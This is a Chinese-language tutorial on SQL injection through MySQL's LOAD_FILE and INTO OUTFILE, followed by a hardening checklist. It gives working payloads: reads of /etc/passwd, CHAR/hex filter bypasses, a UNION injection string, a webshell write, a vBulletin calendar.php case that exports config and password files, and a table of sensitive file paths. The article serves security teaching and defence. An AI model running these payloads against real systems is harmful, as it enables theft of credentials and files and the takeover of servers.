萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 程式設計 >  >> 資料庫 >> MySQL 教學

MySQL LOAD_FILE 在 SQL 注入中的利用與防禦:讀取敏感文件、寫 WebShell 實戰複現

⚠️ 僅供安全研究與防禦加固參考,嚴禁用於非授權測試。

LOAD_FILE() 是 MySQL 讀取服務器本地文件內容的函數,若配置不當(擁有 FILE 權限、secure_file_priv 未限制),攻擊者可通過 SQL 注入竊取 /etc/passwd、配置文件、源碼,甚至配合 INTO OUTFILE 寫入 WebShell 獲取服務器控制權。本文複現利用鏈並給出修復方案。

LOAD_FILE 使用前置條件

  1. 權限:連接用戶擁有 FILE 權限(GRANT FILE ON *.* TO 'user'@'%';)。
  2. 文件可讀:OS 層面 MySQL 進程用戶(通常是 mysql)對目標文件有讀權限(chmod a+r)。
  3. 文件大小:max_allowed_packet 限制(預設 4MB/64MB)。
  4. 路徑限制:MySQL 5.6+ secure_file_priv 非空時,僅允許讀取該目錄下文件;為空則無限制(極度危險)。

利用鏈複現

1. 基礎讀取

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('C:/Windows/win.ini');

2. 繞過引號過濾(magic_quotes_gpc=ON / WAF)

  • CHAR() 編碼:LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100)) → /etc/passwd
  • HEX 編碼:LOAD_FILE(0x2F6574632F706173737764)

3. UNION 注入回顯內容

-- 假設原查詢:SELECT * FROM article WHERE id=$id
-- 構造 $id = -1 UNION SELECT 1,1,LOAD_FILE('/etc/passwd'),1,1
-- 需匹配原查詢列數

4. 寫入 WebShell(INTO OUTFILE)

SELECT '' 
INTO OUTFILE '/var/www/html/shell.php'
LINES TERMINATED BY '';

前置條件:

  • 目標目錄對 mysql 用戶可寫。
  • 知曉 Web 物理路徑(可通過 phpinfo()、報錯回顯、LOAD_FILE 讀配置獲取)。
  • secure_file_priv 未限制或目錄在允許範圍內。

5. 實戰案例:VBB 論壇 calendar.php 注入

  • 漏洞參數:eventid
  • 讀取配置:LOAD_FILE(CHAR(...config.php...)) INTO OUTFILE '/home/4ngel/soft/cfg.txt'
  • 讀取密碼文件:LOAD_FILE(CHAR(.../etc/passwd...)) INTO OUTFILE '/home/4ngel/soft/etcpwd.txt'
  • 通過靜態資源目錄 /soft/ 下載導出文件,獲取 DB 憑證、系統用戶雜湊。

常見敏感文件路徑速查表

類型Linux/Unix 路徑Windows 路徑
Web 配置/etc/httpd/conf/httpd.conf, /usr/local/apache/conf/httpd.conf, /usr/local/nginx/conf/nginx.confC:/Apache/conf/httpd.conf, C:/nginx/conf/nginx.conf
PHP 配置/usr/local/php/lib/php.iniC:/php/php.ini
MySQL 配置/etc/my.cnfC:/Program Files/MySQL/my.ini
系統信息/etc/passwd, /etc/shadow, /etc/hosts, /proc/versionC:/Windows/system32/drivers/etc/hosts
應用配置/var/www/html/config.php, /home/user/app/.envD:/wwwroot/config.php
FTP/郵件/etc/vsftpd.conf, /etc/postfix/main.cfC:/Program Files/.../ServUDaemon.ini

防禦加固清單

  1. 最小權限原則:應用賬號禁止 GRANT FILE,僅授予業務庫增刪改查。
  2. 啟用 secure_file_priv:secure_file_priv=/var/lib/mysql-files/ 限制讀寫目錄,並確保該目錄不可經由 Web 訪問。
  3. 參數化查詢/預編譯:徹底杜絕 SQL 拼接,使用 PreparedStatement、ORM 參數綁定。
  4. WAF/IDS:部署 ModSecurity 核心規則集(CRS)攔截 LOAD_FILE、INTO OUTFILE、UNION SELECT 等特徵。
  5. 錯誤回顯關閉:display_errors=Off,避免洩露物理路徑、表結構。
  6. 定期滲透測試:模擬攻擊驗證防禦有效性。

SQL 注入根源在於「數據與代碼未分離」。參數化查詢 + 最小權限 + 文件系統隔離,三重防線才能徹底阻斷 LOAD_FILE 攻擊鏈。

copyright © 萬盛學電腦網 all rights reserved